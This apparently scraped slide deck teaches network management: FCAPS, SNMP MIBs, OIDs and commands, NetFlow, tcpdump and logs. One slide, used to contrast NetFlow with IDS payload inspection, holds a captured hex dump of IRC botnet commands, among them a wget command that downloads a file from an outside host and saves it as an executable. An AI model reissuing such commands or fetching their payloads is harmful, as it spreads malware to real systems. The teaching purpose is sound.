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Network Managment. FCAPS. FCAPS. Fault Configuration Accounting Performance Security. Fault Management. Network Monitoring Diagnosis and troubleshooting Logs Trouble Tickets. Configuration. Configuring Managed Resources Verify configuration (auditing) Backup and Restore

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Network Managment


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    1. Network Managment FCAPS

    2. FCAPS • Fault • Configuration • Accounting • Performance • Security

    3. Fault Management • Network Monitoring • Diagnosis and troubleshooting • Logs • Trouble Tickets

    4. Configuration • Configuring Managed Resources • Verify configuration (auditing) • Backup and Restore • Image Management

    5. Accounting • Accounting and Billing • Track Consumption • Flat Fee • Additional Service features

    6. Performance • Metrics – Throughput/Delay/QOS • Analysis • Collection (NetFlow)

    7. Security • Secure management operations • Management of Security

    8. Management Information Base • Conceptual Data Store • MIB is “connected” • Requests are made to the Agent • Get, Set, Delete • MO

    9. Managed Object • Managed Object • Piece of Info in the MIB • Examples: Port status, ACL, Mem lvl

    10. MIB A MIB is a view of a device and the agent retrieves the view for you and relays it to the management server SNMP is one such management protocol

    11. MIB IETF Standards • SMI and SMIv2 used with SNMP - A specification used with snmp - RFC 1155, v2 RFC 2578 • MIB-2 - A MIB definition - RFC 1213

    12. What is in the MIB • Object types (variables) • Notifications (traps) • Nodes (OSPF stats) • Textual Conventions (TT, IP)

    13. MIB TREE • Each node is named relative to a containing node. Known as the OID Object Identifier iso(1) (root) org(3) dod(6) internet(1) mgmt(2) experimental(3) private(4) mib-2(1) system(1) interfaces(2) at(3) ip(4) icmp(5) tcp(6) udp(7)

    14. MIB-2 RFC1213-MIB DEFINTIONS ::=BEGIN … Mib-2 OBJECT IDENTIFIER ::={ mgmt 1 } …. System OBJECT IDENTIFIER ::= { mib-2 1 } Interfaces OBJECT IDENTIFIER ::= { mib-2 2 }

    15. System Group • OID value: 1.3.6.1.2.1.1.1 • OID description: • sysDescr OBJECT-TYPE • SYNTAX DisplayString (SIZE (0..255)) • ACCESS read-only • STATUS mandatory • DESCRIPTION "A textual description of the entity. This value should include the full name and version identification of the system's hardware type, software operating-system, and networking software. It is mandatory that this only contain printable ASCII characters." • ::= { system 1 }

    16. Uptime • OID value: 1.3.6.1.2.1.1.3 • OID description: • sysUpTime OBJECT-TYPE • SYNTAX TimeTicks • ACCESS read-only • STATUS mandatory • DESCRIPTION "The time (in hundredths of a second) since the network management portion of the system was last re-initialized." • ::= { system 3 }

    17. Examples snmpget -v 2c -c Example 192.168.1.1 1.3.6.1.2.1.1.1.0 RETURNS: SNMPv2-MIB::sysDescr.0 = Cisco_6509: snmpget -v 2c -c Example2 192.168.2.1 .1.3.6.1.2.1.1.3.0 RETURNS: SNMPv2-MIB::sysUpTime.0 = Timeticks: (2725219064) 315 days, 10:03:10.64

    18. SNMP V1 • FIVE Management Operations • Get Request • Get-Next Request • Set • Get Response • Trap

    19. SNMP PDU UDP 161 UDP 162

    20. SNMP V2c • Get-Bulk Request • Inform

    21. SNMP V3 • Snmp V2c + security snmpget –v 3 -a MD5 -l AuthPriv -x AES -A verysecret 192.168.1.1 sysUpTime

    22. TRAPS/INFORMS • Alarms • Notify • Resource savings (less polling)

    23. MRTG and Cacti • Monitor Traffic Load graphically • Monitor CPU/Bandwidth

    24. Enterprise OID OID : 1.3.6.1.4.1.12356 ---FORTINET OID : 1.3.6.1.4.1.9 --- CISCO

    25. Example snmpget -v 2c -c Sec 192.168.1.1 1.3.6.1.4.1.12356.1.9.0 SNMPv2-SMI::enterprises.12356.1.9.0 = Gauge32: 49 Snmpget –v 2c –c Sec 192.168.1.2 1.3.6.1.4.1.9.1.111.1.2.1.2.12.0 Cisco SNMP Object Navigator

    26. Trap Example • snmptrap -v 1 -c Example 192.168.1.1 enterprises.12356 10.10.10.10 6 17 '50' 1.3.6.1.4.1.12356.0.102s "mem low“ • 13:13:59.394936 IP software.security.testing.ca.34368 > 192.168.1.1.snmptrap: C=Example Trap(48) E:12356 10.10.10.10 enterpriseSpecific s=102 50 E:12356.0[|snmp]

    27. NetFlow V5 • Top flows (most connections) • How much bandwidth • IP Address and Port • Bottlenecks in the network

    28. Classification • Src/Dst Address • Src/Dst Port • TCP/UDP/ICMP • TOS • Link

    29. Example • 192.168.1.1:1100 ---> 10.10.10.1:80 • 192.168.1.1:1200 ---> 200.1.1.2:25 • 10.10.10.1:80 ---> 192.168.1.1:1100 • 192.168.1.1:1101 --> 10.10.10.1:81

    30. Net Flow • Unidirectional • Flow ends when Fin Flag is seen (tcp) • Flow ends when no packet arrives (15 seconds) Flow info is sent via UDP to the management system (netflow collector)

    31. NetFlow Once a Flow is ended, it is flushed from the cache and sent in a Netflow record

    32. Netflow vs IDS Unlike an Intrusion detection system Netflow does not look at the payload. IDS systems like snort look into the data being transmitted

    33. 116.12.132.179.555 -> 201.44.144.29.1273: psh 776971900 ack 1065638971 • 0x0000 4500 00e8 fb87 4000 6f06 f935 740c 84b3 E.....@.o..5t... • 0x0010 8d75 901d 022b 04f9 2e4f a67c 3f84 5c3b .u...+...O.|?.\; • 0x0020 5018 ff63 db33 0000 3a73 7321 6e6f 6e65 P..c.3..:ss!none • 0x0030 4046 4249 2d31 3434 3945 3539 432e 646f @XXXXXXXXXX • 0x0040 7562 6c65 7365 7276 6963 652e 636f 6d20 xXXXXXXXXXX. • 0x0050 544f 5049 4320 2367 6720 3a21 6173 6320 TOPIC.#gg.:!asc. • 0x0060 2d53 202d 737c 2168 7474 7020 6874 7470 -S.-s|!http.http • 0x0070 3a2f 2f74 6561 6d74 7275 6e63 6174 6564 ://teamtruncated • 0x0080 2e6e 6574 2f74 202d 737c 2161 7363 2073 .net/t.-s|!asc.s • 0x0090 2031 3030 2033 2030 202d 6220 2d65 202d .100.3.0.-b.-e.- • 0x00a0 737c 2169 702e 7767 6574 2068 7474 703a s|!ip.wget.http: • 0x00b0 2f2f 6a64 6978 387a 2e74 3335 2e63 6f6d //jdix8z.t35.com • 0x00c0 2f6a 6176 612e 6c69 6220 633a 5c6e 742e /java.lib.c:\nt. • 0x00d0 6578 6520 3120 2d73 0d0a 5049 4e47 203a exe.1.-s..PING.: • 0x00e0 694e 4554 2e33 0d0a iNET.3..

    34. TCPDUMP • Protocol Analyzer - Troubleshooting - Check Flows - Scripts

    35. tcpdump –I eth1 –A port 23 • 13:57:27.581592 IP blob.admin.telnet > 172.28.2.6.ssmpp: P 55:66(11) ack 35 win 65535 • .!.*2.6}.P...._..blob login: • 13:57:27.631198 IP 172.28.2.6.ssmpp > blob.admin..telnet: P 35:44(9) ack 66 win 16351 • ....6}.!.*=P.?..X........... • 13:57:27.631828 IP blob.admin.telnet > 172.28.2.6.ssmpp: P 66:72(6) ack 44 win 65535 • .!.*=.6}.P............. • 13:57:27.679788 IP 172.28.2.6.ssmpp > blob.admin.telnet: P 44:47(3) ack 72 win 16345 • ....6}.!.*CP.?........ • 13:57:27.878683 IP blob.admin.telnet > 172.28.2.6.ssmpp: . ack 47 win 65535 • .!.*C.6}!P............. • 13:57:29.598062 IP 172.28.2.6.ssmpp > blob.admin..telnet: P 47:48(1) ack 72 win 16345 • E..). • ....6}!!.*CP.?./...b • 13:57:29.598854 IP blob.admin..telnet > 172.28.2.6.ssmpp: P 72:73(1) ack 48 win 65535 • .!.*C.6}"P...n...b..... • 13:57:29.694083 IP 172.28.2.6.ssmpp > blob.admin.telnet: P 48:49(1) ack 73 win 16344 • ....6}"!.*DP.?."...o • 13:57:29.694663 IP blob.admin..telnet > 172.28.2.6.ssmpp: P 73:74(1) ack 49 win 65535 • .!.*D.6}#P...a...o..... • 13:57:29.781474 IP 172.28.2.6.ssmpp > blob.admin..telnet: P 49:50(1) ack 74 win 16343 • ....6}#!.*EP.?./...b • 13:57:29.782133 IP blob.admin..telnet > 172.28.2.6.ssmpp: P 74:75(1) ack 50 win 65535 • .!.*E.6}$P...n...b..... • 13:57:29.931535 IP 172.28.2.6.ssmpp > blob.admin..telnet: . ack 75 win

    36. LOGGING “cd /var/log” “tail snmpd.log” “cat messages”